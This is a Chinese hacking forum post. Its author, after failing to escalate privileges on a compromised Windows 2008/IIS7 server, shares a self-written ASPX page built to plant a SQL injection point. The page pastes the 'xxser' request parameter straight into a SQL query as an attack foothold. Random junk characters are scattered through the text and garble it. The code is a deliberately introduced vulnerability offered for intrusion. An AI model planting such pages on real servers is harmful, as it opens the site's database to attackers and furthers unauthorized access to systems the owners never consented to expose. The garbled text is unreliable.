昨天跟4z1看一个站点,提权很难提,看了整整5个小时,无果。 2008+iis7,无sa,无root,无各种服务。。。1 T& l( }4 x& r
其实中用到了aspx构造注射来跨站,网上找了一堆代码,没一个能用的。
' i$ ]! ~; N- {/ _" S" u; A9 c+ s代码量不多,自己写个拉倒了。烦死了。
' d+ J V! U) ~# x1 C! @. I' G
$ z" s) i/ H; N% A# J' Q3 N! Q* g) e" N
; t: f5 T9 Z6 H; I! T: Q- X<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">6 d9 Y' \9 u0 H* R2 E$ g5 [. O% P V
<html xmlns="http://www.w3.org/1999/xhtml">
4 M: a' N% [, }0 e# _# C8 Z<head runat="server">/ y# { x4 N- t; I/ b+ u
<title>暗影aspx构造注射专用页面</title>
- e2 J5 k- `' L k# _</head>
" a2 S& I- j, O3 D( M3 T<body>
% G! A0 y4 t; S& c5 e" c <form id="form1" runat="server">
1 I& M% B) X$ Z <div>
0 B7 g5 z [1 Q! T' h <script language="c#" runat="server">3 Q: X1 Q/ L2 C, A6 u
H$ Y0 c$ f# H; Y void page_init(object sender, EventArgs e)- ^3 l6 c# B. S+ v; x% f
{4 {$ B, Q" s; G2 _! F3 r% s0 a
, V9 X" S. t7 i2 _& u) \. c; _ System.Data.SqlClient.SqlConnection conn = new System.Data.SqlClient.SqlConnection();
: {; b9 n& _3 w $ n M0 k' @8 Q1 |" i4 d7 @) Q6 x
conn.ConnectionString = ConfigurationManager.ConnectionStrings["连接名"].ToString();# J7 D1 b. x3 j! [, t2 h0 V3 V
conn.Open();/ R# T- G* o C6 F2 v5 U! o( ^
3 m- b# ]( i+ n7 M3 q string i = this.Page.Request.Params["xxser"]; //这里是参数?xxser=1
$ N. f& p5 U: e* a0 x- a
0 i7 d- q6 r* D System.Data.SqlClient.SqlCommand command = new System.Data.SqlClient.SqlCommand("select * from [表] where 列名= " + i, conn);' x2 t+ K8 }( x; T1 A& P
int x = command.ExecuteNonQuery();/ e$ o& C5 K& t t
Response.Write(i+"\n"); f+ ~" v) E4 Z8 A/ ^
Response.Write(x);
$ D7 |0 O1 c+ O7 |; |: g conn.Close();
( H3 U0 h, H8 ~+ ` }. @' \0 w/ ~" w! T' D) k
$ V/ Z% D' O) G8 v6 | </script>
4 k2 z) {$ Y1 l2 j6 l </div>7 l. j& Q: P; I# q$ h
</form>% x' R) C& K) c0 |) b8 n
</body>
; c; W! c% t7 |3 W* S- `2 B</html>
G/ |2 ^- y; ?6 F/ k |